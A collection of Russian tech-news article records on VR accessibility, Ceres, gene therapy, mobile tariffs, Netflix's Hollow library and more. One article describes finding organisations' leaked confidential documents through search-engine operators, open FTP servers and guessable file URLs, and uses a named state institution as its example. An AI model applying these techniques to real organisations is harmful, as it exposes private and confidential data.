Jesse Anderson Мелкий текст и размер UI часто становятся причинами жалоб во всех играх, которые едва соблюдают минимальные требования в 28 пикселей при 1080p для стопроцентного зрения, не говоря уж о любой степени нарушений зрения. У игроков часто остаётся единственное решение — сесть поближе к экрану.
В VR сесть поближе, разумеется, невозможно, как и играть с постоянно включенным увеличением — в противном случае сильно повышается риск симуляционного укачивания. Это приводит к двум основным выводам: Уделяйте большое внимание размеру и контрастности UI и важных элементов геймплея. Предоставьте возможность изменения размера текста.
Создайте в VR аналог приближения к элементам UI, а не размещайте их на фиксированном расстоянии от пользователя. Слишком большой наклон головы может вызвать проблемы с расстоянием до датчика, но её можно обойти с помощью опции калибровки области видимости.
Приближение к меню в Crystal Rift
Такие решения могут быть полезными и для людей, которые видят хорошо в очках, но оборудование не даёт им возможности использовать их. Это очень частая проблема, тоже уникальная только для VR. Размер мелкого текста особенно часто становится барьером для доступности в играх вообще. Не говоря уже о VR, где игрок не может надеть свои очки.
Также могут быть полезными перекрестия прицела или включающая их опция. Перекрестия могут стать «опорой», предотвращающей симуляционное укачивание. Они также полезны для людей с разным уровнем зрения левого и правого глаза, взгляд которых в VR смещён относительно центра. И, разумеется, как и всегда, для людей с ослабленным зрением полезно изменение опций размера и внешнего вида прицела.
Наконец, коснёмся полной слепоты. Слепота и VR могут казаться несовместимыми, если полагать, что VR — это визуальный носитель информации. Но на самом деле существуют VR-игры, основанные только на звуке , и обычные игры для слепых тоже есть. Существуют даже крупные сообщества слепых игроков в Grand Theft Auto V и Resident Evil 6. Они возможны благодаря сочетанию игровой помощи (например, можно забраться в машину, нажав кнопку неподалёку от неё; есть автоматическое прицеливание, позволяющее поворачиваться в направлении звука и стрелять), превосходного детального звукового дизайна и простого окружения.
Прорывом в GTAV стал режим игры от первого лица. Эта функция кажется тривиальной, но она позволила полагаться только на расположение источников звука. В VR благодаря сочетанию полного контроля за движением головы и качественного 3D-звука эта способность значительно усиливается. В особенности потому, что VR-окружения имеют прямолинейную навигацию, комфортные режимы и перемещение телепортацией. В VR есть даже отслеживание движений рук, позволяющее указывать непосредственно на источник звука, а не перемещать курсор, который игрок не может видеть.
Существуют довольно серьёзные ограничения: во-первых, сложность окружения, во-вторых, взаимодействие с UI. Но о них стоит поразмышлять и пообщаться со слепыми игроками (поищите в Twitter «blind gamer», и найдёте их [прим. пер.: честно говоря, не нашёл ни одного] ) о возможных вариантах решения проблемы. Воспользовавшись правильной механикой, вы удивитесь, как много можно сделать, вложив небольшие усилия.
И последнее, о чём не стоит забывать в отношении зрения — уникальную для VR (и AR) проблему – стереослепоту . Чаще всего невозможность увидеть стереокартинку не становится проблемой, особенно если вы учитываете точку над прицелами. Но её всё равно не стоит забывать, если в игре есть моменты, в которых требуется восприятие различий в глубине. Очевидная причина невозможности увидеть стереокартинку — это сниженное зрение или его отсутствие для одного глаза. Поэтому всегда следует отображать такие элементы, как субтитры, на обоих экранах.
Существует ещё один очень интересный аспект стереослепоты: если человек стереоскопически слеп в реальной жизни, это не означает обязательной стереослепоты в VR, как например в этой истории или в этой, с очень интересными последствиями . Что это всё означает?
Как я упомянул в начале, в статье не приведён исчерпывающий список всех барьеров или всех решений. И, разумеется, существуют другие рекомендации по общедоступности игр для разработчиков , многие из которых применимы и к VR. Но я надеюсь, что сказанное выше заставит хоть кого-нибудь задуматься. И если решение возникнет в эпоху зарождения технологии, в которой мы сейчас находимся, то ему будет проще стать распространённой дизайнерской практикой.
Важно помнить, что даже если некоторые из перечисленных выше барьеров присутствуют в вашей игре, то ничего фундаментально плохого в её дизайне нет. Вы всё равно делаете продукт, который понравится людям. Вопрос только в его доступности, в увеличении количества людей, способных получить от него удовольствие, и в осознании того, какие формы может принять такое удовольствие.
Я ещё не встречал ни кого из индустрии VR, кто был бы достаточно пассионарным евангелистом этого формата и желал бы поделиться своим энтузиазмом с другими, привлечь больше людей. Так как многие создаваемые сейчас игры становятся для игроков первым опытом в VR, то если мы начнём решать проблемы сейчас, гораздо большая часть этих опытов оправдает надежды пользователей. | https://habrahabr.ru/post/317576/ |
habrahabr | НАСА: на Церере тоже есть вода | ['церера', 'космос', 'жизнь', 'жидкая вода'] |
Большинство ученых убеждены в том, что жизнь, ее вариант, который нам всем известен, может существовать только при условии наличия жидкой воды. Это, конечно, не единственный фактор, но один из... |
Большинство ученых убеждены в том, что жизнь, ее вариант, который нам всем известен, может существовать только при условии наличия жидкой воды. Это, конечно, не единственный фактор, но один из основных. В свете последних открытий мы узнали, что вода в жидкой фазе может существовать на Марсе, Европе, Энцеладе, и даже Плутоне. В основном, речь идет о подледных океанах или морях. Именно такой океан, как считают ученые из НАСА, мог плескаться в далеком прошлом Цереры. Возможно, жидкая вода на этом небесном теле есть и сейчас, понятно, не на поверхности.
Об этом крупнейшем объекте пояса астероидов помог собрать побольше информации зонд Dawn, который достиг планетоида в 2015 году. Космический аппарат прислал на Землю более 54 000 фотографий. С его же помощью ученые изучили спектр отраженного от поверхности различных регионов планетоида солнечного света. Добавил знаний в копилку и детектор гамма-излучения, который смог определить наличие многих химических элементов на глубинах до 1 метра. И что теперь?
За два года изучения планетоида зонд Dawn обнаружил большое количество водорода. Ученые считают, что водород там присутствует не только в виде гидроокисей, но и в виде одного из двух элементов молекулы воды. Около поверхности вода на Церере находится в своей твердой фазе, то есть в виде льда.
При пролете над некоторыми кратерами Dawn обнаружил , что дно и стенки таких кратеров покрыты водным льдом. Лед может здесь существовать практически без изменений в течение миллиардов лет. Дело в том, что на Церере нет атмосферы и очень холодно — температура редко поднимается выше 110 градусов Кельвина. Лед был обнаружен, по меньшей мере, в 10 различных кратерах, включая небольшой кратер Oxo, расположенный неподалеку от северного полюса планетоида. В 634 других кратерах, как считают, есть области, куда не проникает солнечный свет — никогда.
В подобных кратерах водяной лед может сохраняться, поскольку, если солнечные лучи не освещают лед, он не сублимируется, вода остается в кристаллическом состоянии.
По мнению Кэрол Реймонд (Carol Raymond), заместителя научного руководителя миссии Dawn, в этом кратере лед, предположительно, появился недавно. Но откуда ему там взяться?
Вероятно, в некоторых случаях лед на Цереру поставляют кометы и другие астероиды, сталкивающиеся время от времени с этим планетоидом. На Меркурии тоже обнаружен лед, но там, близко к Солнцу, вода образуется, скорее всего, под влиянием «солнечного ветра». Водород реагирует с кислородом поверхности планеты, образуя воду, которая затем замерзает.
На Церере, скорее всего, все по-другому , поскольку она слишком далеко от Солнца, и солнечный ветер здесь вовсе не так интенсивен, как на Меркурии.
Но, возможно, в отдаленном прошлом Цереры был период, когда там существовал подледный океан. Ученые говорят, что этому есть косвенные доказательства. «Мы можем только изучать следы на поверхности, но у нас есть все основания полагать, что под твердой поверхностью планетоида существовал океан», — заявила Рэймонд. Она также утверждает, что считает Цереру аналогом Европы и Энцелада в плане возможного присутствия жизни на этих объектах. Здесь показано постепенное изменение освещенности поверхности Цереры с течением времени (Источник: Nature Video)
Dawn был изначально послан к Церере для того, чтобы получить информацию о начальных этапах формирования Солнечной системы. В поясе астероидов, по мнению ученых, должен оставаться материал, из которого формировались планеты в результате влияния гравитационных и других сил.
Что касается самой Цереры, то вполне может быть, что этот планетоид начал нагреваться после того, как набрал определенную массу. Причина нагрева — радиоактивные элементы, которых несколько миллиардов лет назад в Солнечной системе было больше, чем сейчас. Нагрев привел к тому, что лед начал таять и на Церере, вероятно, появилась жидкая вода, под поверхностью планетоида. Вероятно, это был достаточно крупный океан. Сейчас задача ученых — узнать, подходили ли условия Цереры, ее внутреннего водоема, для поддержания жизни, пускай и самой примитивной.
Можно считать доказанным, говорят специалисты, что Церера постепенно отдалялась от Солнца. А поскольку там не было атмосферы, планетоид быстро остывал. Океан постепенно начал замерзать. Сейчас есть вероятность того, что там, на Церере, осталась жидкая вода. Это уже не океан, а отдельные включения, «окна» очень соленой и холодной жидкой воды. Может быть, эта соленая вода, выходя наружу, формирует гору Ahuna Mons, высота которой составляет уже 4 километра, а диаметр основания — 17 километров. По всей вероятности, эта гора — типичный, хотя и очень большой, криовулкан.
Ахуна Монс — не единственное место на Церере, где наблюдается криовулканизм. Инструменты зонда Dawn зафиксировали криовулканическую активность и в других регионах карликовой планеты. Правда, речь идет не о горах, подобных описанной выше. Ряд кратеров образовался при ударе метеоритов о поверхность планеты. При этом эти кратеры плоские, что может свидетельствовать о заполнении кратера жидкой водой после удара метеорита. Об этом явлении можно говорить, как о водяной лаве, которая, заполнив кратер, застывает.
Церера — ближайшая к Солнцу и самая маленькая среди известных карликовых планет Солнечной системы. Расположена она, как и ряд других планетоидов, в поясе астероидов. Церера была открыта 1 января 1801 года итальянским астрономом Джузеппе Пиацци в Палермской астрономической обсерватории. Некоторое время Церера рассматривалась как полноценная планета Солнечной системы. По результатам уточнения понятия «планета» Международным астрономическим союзом 24 августа 2006 года на XXVI Генеральной Ассамблее МАС была отнесена к карликовым планетам. Она была названа в честь древнеримской богини плодородия Цереры. | https://geektimes.ru/post/283784/ |
habrahabr | Биология поведения человека. Лекция #3. [Роберт Сапольски, 2010. Стэнфорд] | ['Vert Dider', 'Стенфорд', 'биология', 'человек', 'генетика', 'Сапольски'] |
Представляем вам третью лекцию курса «Биология поведения человека» профессора Стэнфордского университета Роберта Сапольски.
В этой лекции внимание уделяется индивидуальному и родственному... |
Представляем вам третью лекцию курса « Биология поведения человека » профессора Стэнфордского университета Роберта Сапольски .
В этой лекции внимание уделяется индивидуальному и родственному отбору, логике поведения, конкурентному инфантициду, мужским и женским иерархиям, изменениям соотношения полов в группе, межполовой конкуренции и другим феноменам из мира биологии поведения. Это вторая лекция на тему эволюции поведения, первую часть этой темы, а так же вступительную лекцию вы найдёте в списке переведённых лекций под катом. Всего в курсе 25 лекций, постепенно мы переведём все. Список переведённых лекций: 1-я лекция : Вступительная лекция об основных направлениях курса и том, почему опасно мыслить категориями. 2-я лекция : В этой лекции профессор объясняет эволюцию поведения, используя наглядные примеры, в том числе широко известную «дилемму заключенного». Этот курс выходит благодаря нашим подписчикам. | https://geektimes.ru/company/vertdider/blog/283786/ |
habrahabr | Взлом без взлома или семь способов найти утечку информации ресурса | ['утечка информации', 'конкурентный шпионаж'] | Небольшое вступление
Многие считают, что бизнесом движут информационные технологии: управление складом, управление логистики, прогнозирование, ситуационное моделирование, оценка рисков, системная... | Небольшое вступление
Многие считают, что бизнесом движут информационные технологии: управление складом, управление логистики, прогнозирование, ситуационное моделирование, оценка рисков, системная динамика и т.д. Но в большинстве своем бизнесом управляет информационное противоборство. Из двух компаний, производящих один товар, победит не та компания, что выполняет работу лучше, а та, что победит в тендере. То есть не важно, как хорошо и качественно ты производишь товар, а важно то как правильно используешь полученную информацию. Если грамотный руководитель получил правильную информацию и если эта информация правильно подготовлена, то тогда и навороченные аналитики не нужны. Всю нужную информацию он держит в руках.
В большинстве случаев утечка информации происходит из – за воздействия внутренних угроз – невнимательные сотрудники или неорганизованное и неаккуратное хранение данных. А раз существует утечка, то и существуют люди по специализирующиеся на ее поиске. Специалистам данной специальности приходиться просматривать в день более сотен ресурсов. И находить нужные данные, не прибегая к незаконным взломам. Хорошему специалисту по поиску информации хватает недели, чтобы получить все необходимые данные о предприятии. Сам процесс поиска подобной информацией называют конкурентной разведкой. Конкурентная разведка — сбор и обработка данных из разных источников, для выработки управленческих решений с целью повышения конкурентоспособности коммерческой организации, проводимые в рамках закона и с соблюдением этических норм (в отличие от промышленного шпионажа). И важно именно то, что данный способ получения данных является абсолютно законным. Специалист данной сферы не взламывает никаких сайтов и не получает эту информацию любим другим уголовно наказуемым путем. Сам факт того, что компания допустила «ляп» в защите своей конфиденциальной информации, и ее кто-то заполучил, незаконным не является.
Итак, рассмотрим несколько приемов получения подобной информации: Прием 1
Демаскирующий признак конфиденциальной информации является само наличие слово – конфиденциальный. Так же демаскирующим является ее гриф: Для служебного пользования.
Не хочешь, чтобы секретную информацию нашли не привлекай к ней внимание.
Давайте посмотрим, адекватно ли мы защищаем свою конфиденциальную информацию. Открываем браузер. Запускаем гугл и пытаемся посмотреть, нет ли утечек документов для служебного пользования на сайте Тамбовского государственного учреждения – 392 результата.
Команда site: –искать в пределах одного адреса сайта. Что бы найти определенную информацию ее надо записать в кавычках: «Для служебного пользования» Прием 2 «Конфиденциально, Confidential»
Как вытянуть главное из кучи найденных файлов? Протоколы HTTPS. Придумывался для обмена между доверенными партнерами. Обмена сертификатами. Т.е. https- в адресе документа становиться демаскирующим признаком особо важных документов.
Демаскирующим признаком становиться документы с гифом — Конфиденциально. Ни одна компания не обеспечиваем регламентных проверок своей конфиденциальности информации. Многие компании не знают, что у них есть утечка, только потому что не проверяли. И даже если компания начла проводить периодические проверки, то не значит, что у их партнеров нет утечки. Прием 3 «Секретно»
Есть грифы: Совершенно секретно, top secret и т.д…
Каждый из нас не задумывается, что поисковая система индексирует не только текст вашего документа, но и свойства этого документа. Если это офисный документ, то там еще содержаться буфера, которые использовались ранее. Правило: Проверьте, нет ли у вас документов с гифом – Конфиденциально, которые видит Гугл или Яндекс. Прием 4
Следующие файлы, которые нам нужны — это документы с грифом exls. Почему? Excel провоцирует человека на обобщение имеющейся информации конфиденциальной и не очень. В таких файлах могут быть списки клиентов их адреса, телефоны и особые пометки. В общем, очень хороший подарок для конкурентов.
Поисковики ведущих поисковых систем ведут себя как шпионы. Они залазят в те разделы, которые мы считаем конфиденциальными.
Давайте проверим:
Появляются файлы. Если откроем их сохраненную копию, то найдем очень много интересной информации. Т.е. xls – это подарок судьбы для хакеров. Прием 5
Поиск документов в формате DOC. Почему? Если документ будет готов к тому, что его будут просматривать посторонние глаза, то он будет оформлен в формате PDF. Если документ все еще не закончен, то он скорей всего будет сохранен в формате DOC.
Ищем на заданном целевом ресурсе документы в формате DOC. Прием 6 Попытка найти весь сервер ftp.
Очень часто компания оставляет его открытым. Попробуйте ввести адрес сайта: ftp.xxx.ru Прием 7 Угадываемые имена
Всегда просматривая файл, старайтесь запомнить его адрес. Цифра 1711 на картинке показывает, что нам доступно 1711 файла. И изменяя эти цифры можно открыть и другие файлы. На заметку
Статья 29, ч.4 Конституции Р.Ф. – «Каждый имеет право свободно искать, получать, передавать, производить и распространять информацию». Но даже несмотря на это, любая компания о которой вы получите данные будет считать, что вы получили их незаконным путем и будет пытаться разобраться с вами досудебными методами.
Ежели мы охотимся за государственной тайной какой-то страны, то мы нарушаем закон. Наказание последует незамедлительно. Если же в наши руки попала не государственная тайна и мы не использовали дорогостоящих, порицаемых методов, то оспорить не правомерность наших действий затруднительно. Раньше даже существовала статья, что, если информация была получено с помощью общедоступных методов, забудьте, что это коммерческая тайна. Предъявить какие-либо претензии тому, кто эту информацию получил невозможно. Вы действительно можете нарушить закон, если используете троянов или подбираете пароль. Либо если вы используете информацию неправильно – во вред. То тогда вы действительно нарушаете закон и понесете наказание.
Из всего этого следует, что всегда необходимо быть осторожным, даже если вы считаете свои действия законными.
В создании статьи использовались заметки с семинара «Взломать за 60 секунд» (Масалович А.И.). | https://habrahabr.ru/post/317780/ |
habrahabr | Генная терапия продлила жизнь мышам на 30% | ['генная терапия', 'эпигенетика', 'старение', 'продолжительность жизни', 'смерть'] |
Сравнительное состояние мышей. У перепрограммированной мыши +Dox состояние гораздо лучше, чем у мыши −Dox того же возраста. В эксперименте участвовали мыши с редким генетическим заболеванием —... | Сравнительное состояние мышей. У перепрограммированной мыши +Dox состояние гораздо лучше, чем у мыши −Dox того же возраста. В эксперименте участвовали мыши с редким генетическим заболеванием — синдромом Хатчинсона-Гилфорда , который вызывает преждевременное старение. Таких мышей взяли для удобства, чтобы быстрее наступило старение и проявились результаты клеточного перепрограммирования
Старение тела увеличивает риск развития многих болезней и смерти. Поэтому учёные давно ищут способы изменить биологически программы организма, чтобы продлить молодость и отсрочить наступление старости. Возможно, в перспективе удастся предотвратить наступление старости вообще, что значительно снизит риски заболеваний и увеличит среднюю продолжительность жизни наиболее достойных людей.
Предыдущие исследования «в пробирке» (in vitro) показали, что возможность омоложения клеток действительно есть. Это показали с помощью клеточного перепрограммирования, то есть с помощью индуцированных стволовых клеток, полученных из плюропотентных клеток путём эпигенетического программирования.
Лабораторные опыты in vitro подтвердили факт омоложения, а сейчас учёные впервые провели опыт на живых существах , то есть внутри живого организма (in vivo). В хорошо изученной области клеточного перепрограммирования ничего фундаментально нового американские учёные не изобрели, но зато теперь своими глазами можно сравнить старую живую мышь с омоложенной живой мышью того же биологического возраста (см. фото C на иллюстрации вверху). Переход от опытов «в пробирке» к экспериментам на живых организмах — гигантский шаг вперёд на пути к реальным генетическим опытам на людях. Клеточное перепрограммирование
Перепрограммирование генетической системы клеток происходит под воздействием перепрограммирующих факторов. Проще говоря, с помощью препарат-индуцируемых вирусных трансгенов 0ct4, Sox2, Klf4 и с-Мус.
В результате некоторые соматические клетки обходят механизмы клеточного старения и в результате экспрессии 0ct4, Sox2, Klf4 и с-Мус превращаются в индуцированные плюрипотентные стволовые CiPSD клетки. В живом существе это означает омоложение организма со всеми сопутствующими эффектами — улучшением состояния различных систем и увеличением средней продолжительности жизни. Мышечная ткань мыши до и после перепрограммирования клеток
В отличие от генной инженерии, здесь используются методы эпигенетики , то есть «включение» и «выключение» генов, которые уже есть в организме, без непосредственного изменения ДНК.
В данном случае экспрессия 0ct4, Sox2, Klf4 и с-Мус выполняет управляющую функцию. Эти конкретные гены активны только у эмбрионов, а у взрослого человека они не должны работать. Если же искусственно активировать их у взрослого человека, то обычные взрослые клетки перепрограммируются обратно в стволовые. Происходит регенерация тканей и биологический возраст организма как бы «уменьшается».
Эксперимент с омоложением пожилых клеток был успешно проведён в 2011 году in vitro. Сейчас его повторили in vivo, то есть в живом организме мыши. Учёным удалось найти такой способ циклической генной терапии, который устраняет побочные эффекты — преждевременную смертность и образование тератом — и реально продлевает жизнь мышей.
По мнению учёных, такой метод не будет работать в организме человека. Однако этот процесс позволит лучше понять фундаментальные причины старения и выявить непосредственные биологические факторы, из-за которого организм в определённый момент теряет способность к регенерации и размножению. Причины старения
Начало деградации организма и старение — одна из самых больших загадок в биологии. Почему некоторые ткани организма регенерируют и никогда не стареют (например, репродуктивные клетки), а другие включают механизм деградации?
В данный момент у учёных нет единого мнения по поводу причин старения. Наиболее авторитетными считаются эволюционно-генетическая и эволюционно-физическая теории. Приверженцы первой теории считают, что старение вызвано накоплением мутаций в организме, в том числе под воздействием специальных плейотропных генов. Приверженцы второй теории считают, что старение возникает вследствие наиболее оптимального распределения ресурсов организма .
В любом случае, методами генной инженерии можно попробовать внести изменения и исправить ошибки во встроенных биологических программах. Если считать старение такой ошибкой, то и её теоретически можно исправить.
Относительно данного метода омоложения остаётся ещё много неисследованных вопросов. Во-первых, следует провести испытания на здоровых животных, а не только на мышах с врождённым пороком преждевременного старения. Во-вторых, следует убедиться, что омоложению подвержены в равной степени все органы. Например, что происходит в центральной системе, где замена клеток ограничена? Согласитесь, ведь никто не хочет остаться в молодом теле со здоровыми органами и сильными мышцами, но со старым мозгом.
Пока что не очень хорошо изучены и социальные последствия увеличения продолжительности жизни у всего населения или его части. Конечно, люди продолжат умирать на войнах, в ДТП, от несчастных случаев и от смертельных болезней. В итоге, никто не будет жить вечно, но предсказать продолжительность конкретного человека в отсутствие гарантированного старения будет очень проблематично. Если предположить, что старение организма отсутствует, то непонятно, на каком уровне устанавливать пенсионный возраст и начинать выплачивать пенсию. Вероятно, это не единственная проблема, с которой столкнётся человечество при увеличении средней продолжительности жизни.
Научная работа опубликована 15 декабря 2016 года в журнале Cell (doi: 10.1016/j.cell.2016.11.052, pdf ). | https://geektimes.ru/post/283790/ |
habrahabr | Операторы сотовой связи планируют отказаться от безлимитных интернет-тарифов | ['Сотовая связь', 'финансы', 'тарифы', 'безлимит', 'связь', 'канал', 'нагрузка на сеть', 'интернет', 'мелкий шрифт'] |
Российские сотовые операторы могут отказаться от безлимитных интернет тарифов в ближайшем будущем, приводит слова генерального директора «Вымпелкома» Шелля Мортена Йонсена агенство... |
Российские сотовые операторы могут отказаться от безлимитных интернет тарифов в ближайшем будущем, приводит слова генерального директора «Вымпелкома» Шелля Мортена Йонсена агенство «Прайм».
«Вы увидите пошагово, что индустрия постепенно уйдет от безлимитных тарифов. Пользователи с нормальным потреблением данных не увидят изменений, но это дисциплинирует людей, которые используют экстремально большое количество данных», — сказал он.
Гендиректор «Вымпелкома» считает, что ощутимая часть абонентов, использующих безлимитные мобильные тарифы используют их недобросовестно, выкачивая через мобильную сеть огромные объемы данных в режиме нон-стоп.
Предполагается, что на смену безлимитным тарифам придут тарифы с ограниченным, но значительным количеством включенного трафика, которые удовлетворят потребности добросовестных пользователей. Йонсен отмечает, что 3G-сети уже перегружены, а 4G быстро заполняются.
При этом гендиректор «Вымпелкома» отметил, что компания не может единолично применять подобную практику. «Я не могу этого делать. Но я могу озвучить свою позицию, чтобы она была услышана рынком», — сказал Йонсен.
Сейчас многие мобильные операторы предоставляют услуги безлимитного доступа к сети Интернет за фиксированную плату. При этом некоторые из них вводят понятие «добросовестного использования», когда при скачивании определенного количества трафика он подвергается анализу со стороны сотрудников компании (обычно при превышении отметки в 100 Гб менее, чем за месяц). Делается это для того, чтобы выявить пользователей, использующих эти тарифные планы коллективно или для нон-стоп скачивания/раздачи больших объемов информации. Фактически, операторы ограничивают «безлимитные» тарифы, не позволяя пользователям распоряжаться предоставляемой им услугой так, как они считают нужным.
Так компания МТС с мая этого года закрепила за собой право ограничивать скорость доступа для своего безлимитного тарифа. По мнению аналитиков всего несколько процентов абонентов на безлимитных тарифах могут существенно загрузить сеть оператора и понизить качество предоставляемых услуг для других абонентов.
Полгода спустя Йонсен поднимает именно эту проблему — ограниченность канала сотовой связи 3G относительно общего числа абонентов не позволяет оператору предоставлять услуги безлимитного доступа. При этом сотовые операторы признают, что факт запуска «безлимитных» тарифов использовался ими более для маркетинга и пиара, чем извлечения прибыли. | https://geektimes.ru/post/283792/ |
habrahabr | Как работает стриминг Netflix | ['хранение данных', 'большие данные', 'кэширование', 'Netflix', 'Hollow'] | «Если вы можете кэшировать всё очень эффективным способом, то вы часто можете изменить правила игры»
Мы, разработчики программного обеспечения, часто сталкиваемся с проблемами, требующими... | «Если вы можете кэшировать всё очень эффективным способом , то вы часто можете изменить правила игры»
Мы, разработчики программного обеспечения, часто сталкиваемся с проблемами, требующими распространения некоторого набора данных, который не соответствует названию «большие данные». Примерами проблем такого типа являются следующие: Метаданные продукта в интернет-магазине
Метаданные документа в поисковой машине
Метаданные фильмов и ТВ-шоу
Сталкиваясь с этим, мы обычно выбираем один из двух путей: Хранение этих данных в каком-то централизованном хранилище (например, реляционная СУБД, информационный склад NoSQL или кластер memcached) для удалённого доступа пользователей
Сериализация (например, как json, XML и т.д.) и распространение среди потребителей, которые будут хранить локальную копию
Применение каждого из этих подходов имеет свои проблемы. Централизация данных может позволить вашему набору данных неограниченно расти, однако: Имеют место задержки и ограничения по полосе пропускания при взаимодействии с этими данными
Удалённый информационный склад не может сравниться по надёжности с локальной копией данных
С другой стороны, сериализация и сохранение локальной копии данных полностью в ОЗУ может обеспечить на порядки меньшее время задержки и более высокую частоту доступа, однако и этот подход несёт с собой проблемы, связанные с масштабированием, которые становятся более комплексными по мере увеличения набора данных: Объём динамической памяти, занимаемой набором данных, растёт
Получение набора данных требует загрузки дополнительных битов
Обновление набора данных может потребовать значительных ресурсов ЦП или влиять на работу автоматического управления памятью
Разработчики часто выбирают гибридный подход — кешируют локально данные с частым доступом и используют удалённо — с редким. Такой подход имеет свои проблемы: Управление структурами данных может потребовать значительного количества динамической кэш-памяти
Объекты часто хранятся довольно долго , чтобы их можно было распространять, и отрицательно влияют на работу автоматического управления памятью
В Netflix мы осознали, что такой гибридный подход часто создаёт лишь иллюзию выигрыша. Размер локального кэша часто является результатом тщательного поиска компромисса между задержкой при дистанционном доступе для многих записей и требованием к хранилищу (хипу) при локальном хранении большего количества данных. Но если вы можете кэшировать всё очень эффективным способом , то вы часто можете изменить игру — и держать весь набор данных в памяти, используя хип меньшего размера и меньше загружая ЦП, чем при хранении лишь части этого набора. И здесь вступает в действие Hollow — последний проект с открытым исходным кодом от Netflix. Hollow представляет собой Java-библиотеку и всеобъемлющий набор инструментов для использования расположенных в оперативной памяти наборов данных малого и среднего размера, которые распространяются от одного производителя ко многим потребителям с доступом только для чтения. «Hollow изменяет подход … Наборы данных, для которых ранее такую возможность никогда нельзя было даже рассматривать, теперь могут быть кандидатами для Hollow.» Функционирование
Hollow сосредоточен исключительно на своём предписанном наборе проблем: хранение цельного набора данных «только для чтения» в оперативной памяти потребителей. Он преодолевает последствия обновления и выгрузки данных из частичного кэша.
Благодаря своим рабочим характеристикам Hollow изменяет подход с позиции размеров соответствующих наборов данных для решения при помощи оперативной памяти. Наборы данных, для которых ранее такую возможность никогда нельзя было даже рассматривать, теперь могут быть кандидатами для Hollow. Например, Hollow может быть полностью приемлемым для наборов данных, которые, если представлять их в json или XML, потребовали бы более 100 Гб. Быстрота адаптации
Hollow не просто улучшает функционирование — этот пакет значительно усиливает быстроту адаптации команды при работе с задачами, связанными с наборами данных.
Использование Hollow является простым прямо с первого шага. Hollow автоматически создаёт пользовательский API, базирующийся на специфической модели данных, благодаря чему пользователи могут интуитивно взаимодействовать с данными, пользуясь преимуществами выполнения IDE-кода.
Но серьёзный выигрыш возникает при использовании Hollow на постоянной основе. Если ваши данные постоянно находятся в Hollow, то появляется много возможностей. Представьте, что вы можете быстро пройти весь производственный набор данных — текущий или из любой точки в недавнем прошлом, вплоть до локальной рабочей станции разработки: загрузить его, а затем точно воспроизвести определённые производственные сценарии.
Выбор Hollow даст вам преимущество на инструментарии; Hollow поставляется с множеством готовых утилит, чтобы обеспечить понимание ваших наборов данных и обращение с ними. Устойчивость
Сколько девяток надёжности вы хотели бы иметь? Три, четыре, пять? Девять? Будучи локальным хранилищем данных в оперативной памяти, Hollow не подвержен проблемам, связанным с окружающей средой, в том числе с сетевыми сбоями, неисправностями дисков, помехам от соседей в централизованном хранилище данных и т.д. Если ваш производитель данных выходит из строя или ваш потребитель не может подключиться к хранилищу данных, то вы можете работать с устаревшими данными — но данные будут по-прежнему присутствовать, а ваш сервис будет по-прежнему работать.
Hollow был доработан в течение более чем двух лет непрерывной жёсткой эксплуатации на Netflix. Мы используем его для предоставления важных наборов данных, необходимых для выполнения взаимодействия в Netflix, на серверах, быстро обслуживающих в реальном времени запросы клиентов при максимальной производительности или близко к ней. Несмотря на то, что Hollow затрачивает громадные усилия, чтобы выжать каждый последний бит производительности из аппаратных средств серверов, огромное внимание к деталям стало частью укрепления этой критической части нашей инфраструктуры. Источник
Три года назад мы анонсировали Zeno — наше действующее в настоящее время решение в этой области. Hollow заменяет Zeno, но является во многом его духовным преемником. Концепции Zeno в отношении производителя, потребителей, состояния данных, копий состояния объекта и изменений состояния перешли в Hollow
Как и прежде, временная последовательность изменяющегося набора данных может быть разбита на дискретные состояния данных , каждое из которых представляет собой полную копию состояния данных на определённый момент времени. Hollow автоматически определяет изменение состояний — усилие, требуемое от пользователя на поддержание обновлённого состояния, является минимальным. Hollow автоматически дедуплицирует данные, чтобы минимизировать объём динамической памяти наших наборов данных у потребителей. Развитие
Hollow берёт эти концепции и развивает их, улучшая почти каждый аспект решения.
Hollow избегает использовать POJOs как представление в оперативной памяти — взамен заменяет их компактным, с фиксированной длиной, сильно типизированным шифрованием данных. Такое шифрование предназначено как для минимизации объёма динамической памяти наборов данных, так и для снижения доли стоимости, связанной с ЦП, при обеспечении доступа к данным в реальном времени. Все зашифрованные записи упакованы в повторно используемые блоки памяти, которые располагаются в JVM-хипе, чтобы предотвратить воздействие на работу автоматического управления памятью на работающих серверах. Пример расположения в памяти записей типа OBJECT
Наборы данных в Hollow являются самодостаточными — для сериализированного блоба, чтобы этот блоб мог бы быть использован фреймворком, не требуется сопровождение из кода, специфического для варианта использования. Дополнительно Hollow разработан с обратной совместимостью , благодаря чему развёртывание может происходить реже. «Возможность построения мощных систем доступа , независимо от того, предполагались ли они изначально при разработке модели данных.»
Поскольку Hollow полностью построен на оперативной памяти, то инструментарий может быть реализован при условии, что произвольный доступ по всей ширине набора данных может быть выполнен, не выходя из Java-хипа. Множество готовых инструментов входит в состав Hollow, а создание ваших собственных инструментов благодаря базовым компоновочным блокам, предоставляемым библиотекой, является несложным делом.
Основой использования Hollow является концепция индексирования данных различными способами . Это обеспечивает O(1)-доступ к соответствующим записям в данных, что даёт возможность построения мощных систем доступа независимо от того, предполагались ли они изначально при разработке модели данных. Преимущества
Инструментарий Hollow легко установить и он имеет интуитивно понятное управление. Вы сможете понять в ваших данных некоторые аспекты, о которых вы и не подозревали. Инструмент отслеживания изменений позволяет проследить изменение определённых записей во времени
Hollow может усилить ваши возможности. Если что-то в какой-то записи кажется неправильным, то можно точно выяснить, что и когда случилось, используя простой запрос в инструмент отслеживания изменений. Если происходит авария и случайно происходит выпуск ненадлежащего набора данных, то ваш набор данных можно откатить назад к тому, который был перед возникновением ошибки, зафиксировав производственные проблемы на их путях. Поскольку переход между состояниями происходит быстро, то это действие может дать результат на всём парке машин уже через несколько секунд. «Если ваши данные постоянно находятся в Hollow, то появляется много возможностей .»
Hollow проявил себя как чрезвычайно полезное средство на Netflix — мы увидели повсеместное уменьшение времени запуска серверов и снижение занимаемого объёма динамической памяти при постоянно возрастающей потребности в метаданных. Благодаря целенаправленным усилиям по моделированию данных, осуществляемым по результатам детального анализа использования динамической памяти , который стал возможным с появлением Hollow, мы сможем и дальше улучшать показатели.
В дополнение к выигрышу в качестве функционирования мы видим огромный прирост производительности, связанный с распространением наших каталожных данных. Это объясняется отчасти тем инструментарием, который имеется в Hollow, а отчасти той архитектурой, которая была бы невозможна без него. Заключение
Везде, где мы видим проблему, мы видим, что она может быть решена при помощи Hollow. Сегодня Hollow доступен для использования всему миру.
